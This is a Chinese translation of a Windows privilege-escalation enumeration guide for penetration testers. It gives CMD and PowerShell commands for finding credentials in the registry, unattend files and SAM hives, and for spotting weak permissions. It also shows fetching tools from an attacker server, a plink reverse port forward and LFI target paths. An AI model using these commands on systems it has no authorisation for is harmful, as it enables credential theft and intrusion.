分享

Windows 提权命令指南

 昵称11935121 2018-02-02

介绍

特权升级总是被归结为适当的枚举。但要完成适当的枚举,你需要知道要检查和查找的内容。这通常需要伴随着经验的丰富而对系统非常熟悉。起初特权升级看起来像是一项艰巨的任务,但过了一段时间,你就开始过滤哪些是正常的东西,而哪些不是正常的东西。最终变得更容易,因为你知道要寻找什么了,而不是挖掘希望在干草堆中找到那根针的所有东西。希望本指南能为你的入门提供良好的基础知识。

本指南受到了g0tm1lk发表的基本的Linux提权姿势的文章的影响,在某些时候,你应该已经看到并使用了该指南。我想试图反映他的指导,除了Windows。所以本指南主要集中在枚举方面。

注:我不是专家,仍然在学习当中。

指南概述

在每个部分中,我首先提供老的可靠的CMD命令,然后是一个Powershell实现的的等价命令。同时拥有这两种工具是非常好的,Powershell比传统的CMD更加灵活。然而,没有一个Powershell命令能等价于所有东西(或者CMD在某些事情上仍然更简单更好),所以一些部分将只包含常规的CMD命令。

操作系统

操作系统类型和架构?它是否缺少任何补丁?

systeminfowmic qfe

环境变量有什么有趣的地方吗?域控制器在LOGONSERVER?

setGet-ChildItem Env: | ft Key,Value

有没有其他连接的驱动器?

net usewmic logicaldisk get caption,description,providernameGet-PSDrive | where {$_.Provider -like ''Microsoft.PowerShell.Core\FileSystem''}| ft Name,Root

用户

你是谁?

whoamiecho %USERNAME%$env:UserName

系统上有哪些用户?任何旧的用户配置文件没有被清理掉?

net usersdir /b /ad ''C:\Users\''dir /b /ad ''C:\Documents and Settings\'' # Windows XP and belowGet-LocalUser | ft Name,Enabled,LastLogonGet-ChildItem C:\Users -Force | select Name

是否有其他人登录?

qwinsta

系统上有哪些用户组?

net localgroupGet-LocalGroup | ft Name

在管理员组中有哪些用户?

net localgroup AdministratorsGet-LocalGroupMember Administrators | ft Name, PrincipalSource

用户自动登录对应的注册表中有些什么内容?

reg query ''HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon'' 2>nul | findstr ''DefaultUserName DefaultDomainName DefaultPassword''Get-ItemProperty -Path ''Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'' | select ''Default*''

Credential Manager中有什么有趣的东西?

cmdkey /list

我们可以访问SAM和SYSTEM文件吗?

%SYSTEMROOT%\repair\SAM%SYSTEMROOT%\System32\config\RegBack\SAM%SYSTEMROOT%\System32\config\SAM%SYSTEMROOT%\repair\system%SYSTEMROOT%\System32\config\SYSTEM%SYSTEMROOT%\System32\config\RegBack\system

程序,进程和服务

系统都安装了些什么软件?

dir /a ''C:\Program Files''dir /a ''C:\Program Files (x86)''reg query HKEY_LOCAL_MACHINE\SOFTWAREGet-ChildItem ''C:\Program Files'', ''C:\Program Files (x86)'' | ft Parent,Name,LastWriteTimeGet-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

有没有权限设置的比较脆弱的文件夹或文件的权限?

在程序文件夹中(Program Folders)有哪些文件或文件夹赋予了所有人(Everyone)或用户(User)的完全权限?

icacls ''C:\Program Files\*'' 2>nul | findstr ''(F)'' | findstr ''Everyone''icacls ''C:\Program Files (x86)\*'' 2>nul | findstr ''(F)'' | findstr ''Everyone''icacls ''C:\Program Files\*'' 2>nul | findstr ''(F)'' | findstr ''BUILTIN\Users''icacls ''C:\Program Files (x86)\*'' 2>nul | findstr ''(F)'' | findstr ''BUILTIN\Users''

修改程序文件夹(Program Folders)中的所有人(Everyone)或用户(User)的权限?

icacls ''C:\Program Files\*'' 2>nul | findstr ''(M)'' | findstr ''Everyone''icacls ''C:\Program Files (x86)\*'' 2>nul | findstr ''(M)'' | findstr ''Everyone''icacls ''C:\Program Files\*'' 2>nul | findstr ''(M)'' | findstr ''BUILTIN\Users''icacls ''C:\Program Files (x86)\*'' 2>nul | findstr ''(M)'' | findstr ''BUILTIN\Users''
Get-ChildItem ''C:\Program Files\*'',''C:\Program Files (x86)\*'' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match ''Everyone''} } catch {}}Get-ChildItem ''C:\Program Files\*'',''C:\Program Files (x86)\*'' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match ''BUILTIN\Users''} } catch {}}

你也可以上传Sysinternals中的accesschk来检查可写文件夹和文件。

accesschk.exe -qwsu ''Everyone'' *accesschk.exe -qwsu ''Authenticated Users'' *accesschk.exe -qwsu ''Users'' *

系统上正在运行的进程/服务有哪些?有没有暴露的内部服务?如果是这样,我们可以打开它吗?请参阅附录中的端口转发。

tasklist /svctasklist /vnet startsc query
Get-Process | ft ProcessName,IdGet-Service

是否存在任何脆弱的服务权限?我们可以重新配置什么吗?你可以再次上传accesschk来检查权限。

accesschk.exe -uwcqv ''Everyone'' *accesschk.exe -uwcqv ''Authenticated Users'' *accesschk.exe -uwcqv ''Users'' *

有没有引用的服务路径?

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i ''Auto'' 2>nul |findstr /i /v ''C:\Windows\\'' 2>nul |findstr /i /v ''''''

是否设置了计划任务?任何自定义实现的计划任务?

schtasks /query /fo LIST 2>nul | findstr TaskNamedir C:\windows\tasks
Get-ScheduledTask | ft TaskName, State

系统启动时都运行了些什么?

wmic startup get caption,commandreg query HKLM\Software\Microsoft\Windows\CurrentVersion\Runreg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOncereg query HKCU\Software\Microsoft\Windows\CurrentVersion\Runreg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOncedir ''C:\Documents and Settings\All Users\Start Menu\Programs\Startup''dir ''C:\Documents and Settings\%username%\Start Menu\Programs\Startup''
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | flGet-ItemProperty -Path ''Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run''Get-ItemProperty -Path ''Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce''Get-ItemProperty -Path ''Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run''Get-ItemProperty -Path ''Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce''Get-ChildItem ''C:\Users\All Users\Start Menu\Programs\Startup''Get-ChildItem ''C:\Users\$env:USERNAME\Start Menu\Programs\Startup''

AlwaysInstallElevated是否启用?我没有跑过这个,但没有伤害检查。

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

网络

连接到了哪一块网卡?是否有多个网络?

ipconfig /allGet-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

我们有哪些网络路线?

route printGet-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP缓存中有什么?

arp -aGet-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

是否有连接到其他主机的网络连接?

netstat -ano

hosts文件中的任何东西?

C:\WINDOWS\System32\drivers\etc\hosts

防火墙是否打开?如果是又是怎样配置的?

netsh firewall show statenetsh firewall show confignetsh advfirewall firewall show rule name=allnetsh advfirewall export ''firewall.txt''

任何其他有趣的接口配置?

netsh dump

有没有SNMP配置?

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /sGet-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

有趣的文件和敏感信息

这部分内容的命令输出可能有点杂乱,所以你可能想把命令的输出重定向到txt文件中进行审查和解析。

在注册表中是否有任何密码?

reg query HKCU /f password /t REG_SZ /sreg query HKLM /f password /t REG_SZ /s

查看是否存在没有清理掉的sysprep或unattended文件?

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nulGet-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like ''*.xml'' -or $_.Name -like ''*.txt'' -or $_.Name -like ''*.ini'')}

如果服务器是IIS网络服务器,那么inetpub中有什么?以及任何隐藏的目录?web.config文件?

dir /a C:\inetpub\dir /s web.configC:\Windows\System32\inetsrv\config\applicationHost.configGet-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

在IIS日志目录中有些什么文件?

C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].logC:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].logC:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].logC:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log

是否安装了XAMPP,Apache或PHP?任何有XAMPP,Apache或PHP配置文件?

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnfGet-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

系统中是否存在任何Apache网络日志?

dir /s access.log error.logGet-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

系统中是否任何有趣的文件?可能在用户目录(桌面,文档等)?

dir /s *pass* == *vnc* == *.config* 2>nulGet-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue

系统中是否有包含密码的文件?

findstr /si password *.xml *.ini *.txt *.config 2>nulGet-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern ''password''

附录

传输文件

在特权升级过程中的某个时候,你需要将文件放到你的目标上。下面是一些简单的方法来做到这一点。

Powershell Cmdlet(Powershell 3.0及更高版本)

Invoke-WebRequest ''https://myserver/filename'' -OutFile ''C:\Windows\Temp\filename''

Powershell一行代码实现方法:

(New-Object System.Net.WebClient).DownloadFile(''https://myserver/filename'', ''C:\Windows\Temp\filename'')

Powershell脚本

echo $webclient = New-Object System.Net.WebClient >>wget.ps1echo $url = ''http://IPADDRESS/file.exe'' >>wget.ps1echo $file = ''output-file.exe'' >>wget.ps1echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

通过文本文件的非交互式FTP。当你只有有限的命令执行时这很有用。

echo open 10.10.10.11 21> ftp.txtecho USER username>> ftp.txtecho mypassword>> ftp.txtecho bin>> ftp.txtecho GET filename>> ftp.txtecho bye>> ftp.txtftp -v -n -s:ftp.txtCERTUTILcertutil.exe -urlcache -split -f https://myserver/filename outputfilename

转发端口

这对于暴露机器外部不可用的内部服务非常有用,通常是由于防火墙设置。

上传plink.exe到目标。

在攻击机器上启动SSH。

例如要公开SMB,在目标上运行:

plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

注意:从Windows 10的秋季创作者更新版本开始,OpenSSH已经在Windows的beta版本中推出,所以我预计有一天我们可能只能使用普通的旧的SSH命令进行端口转发,具体取决于是否启用。

本地文件包含列表

这不是一个详尽的列表,安装目录会有所不同,我只列出了一些常见的文件路径。

C:\Apache\conf\httpd.confC:\Apache\logs\access.logC:\Apache\logs\error.logC:\Apache2\conf\httpd.confC:\Apache2\logs\access.logC:\Apache2\logs\error.logC:\Apache22\conf\httpd.confC:\Apache22\logs\access.logC:\Apache22\logs\error.logC:\Apache24\conf\httpd.confC:\Apache24\logs\access.logC:\Apache24\logs\error.logC:\Documents and Settings\Administrator\NTUser.datC:\php\php.iniC:\php4\php.iniC:\php5\php.iniC:\php7\php.iniC:\Program Files (x86)\Apache Group\Apache\conf\httpd.confC:\Program Files (x86)\Apache Group\Apache\logs\access.logC:\Program Files (x86)\Apache Group\Apache\logs\error.logC:\Program Files (x86)\Apache Group\Apache2\conf\httpd.confC:\Program Files (x86)\Apache Group\Apache2\logs\access.logC:\Program Files (x86)\Apache Group\Apache2\logs\error.logc:\Program Files (x86)\php\php.ini''C:\Program Files\Apache Group\Apache\conf\httpd.confC:\Program Files\Apache Group\Apache\conf\logs\access.logC:\Program Files\Apache Group\Apache\conf\logs\error.logC:\Program Files\Apache Group\Apache2\conf\httpd.confC:\Program Files\Apache Group\Apache2\conf\logs\access.logC:\Program Files\Apache Group\Apache2\conf\logs\error.logC:\Program Files\FileZilla Server\FileZilla Server.xmlC:\Program Files\MySQL\my.cnfC:\Program Files\MySQL\my.iniC:\Program Files\MySQL\MySQL Server 5.0\my.cnfC:\Program Files\MySQL\MySQL Server 5.0\my.iniC:\Program Files\MySQL\MySQL Server 5.1\my.cnfC:\Program Files\MySQL\MySQL Server 5.1\my.iniC:\Program Files\MySQL\MySQL Server 5.5\my.cnfC:\Program Files\MySQL\MySQL Server 5.5\my.iniC:\Program Files\MySQL\MySQL Server 5.6\my.cnfC:\Program Files\MySQL\MySQL Server 5.6\my.iniC:\Program Files\MySQL\MySQL Server 5.7\my.cnfC:\Program Files\MySQL\MySQL Server 5.7\my.iniC:\Program Files\php\php.iniC:\Users\Administrator\NTUser.datC:\Windows\debug\NetSetup.LOGC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\Panther\Unattended.xmlC:\Windows\php.iniC:\Windows\repair\SAMC:\Windows\repair\systemC:\Windows\System32\config\AppEvent.evtC:\Windows\System32\config\RegBack\SAMC:\Windows\System32\config\RegBack\systemC:\Windows\System32\config\SAMC:\Windows\System32\config\SecEvent.evtC:\Windows\System32\config\SysEvent.evtC:\Windows\System32\config\SYSTEMC:\Windows\System32\drivers\etc\hostsC:\Windows\System32\winevt\Logs\Application.evtxC:\Windows\System32\winevt\Logs\Security.evtxC:\Windows\System32\winevt\Logs\System.evtxC:\Windows\win.iniC:\xampp\apache\conf\extra\httpd-xampp.confC:\xampp\apache\conf\httpd.confC:\xampp\apache\logs\access.logC:\xampp\apache\logs\error.logC:\xampp\FileZillaFTP\FileZilla Server.xmlC:\xampp\MercuryMail\MERCURY.INIC:\xampp\mysql\bin\my.iniC:\xampp\php\php.iniC:\xampp\security\webdav.htpasswdC:\xampp\sendmail\sendmail.iniC:\xampp\tomcat\conf\server.xml

翻译:李白

原文:嘶吼

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约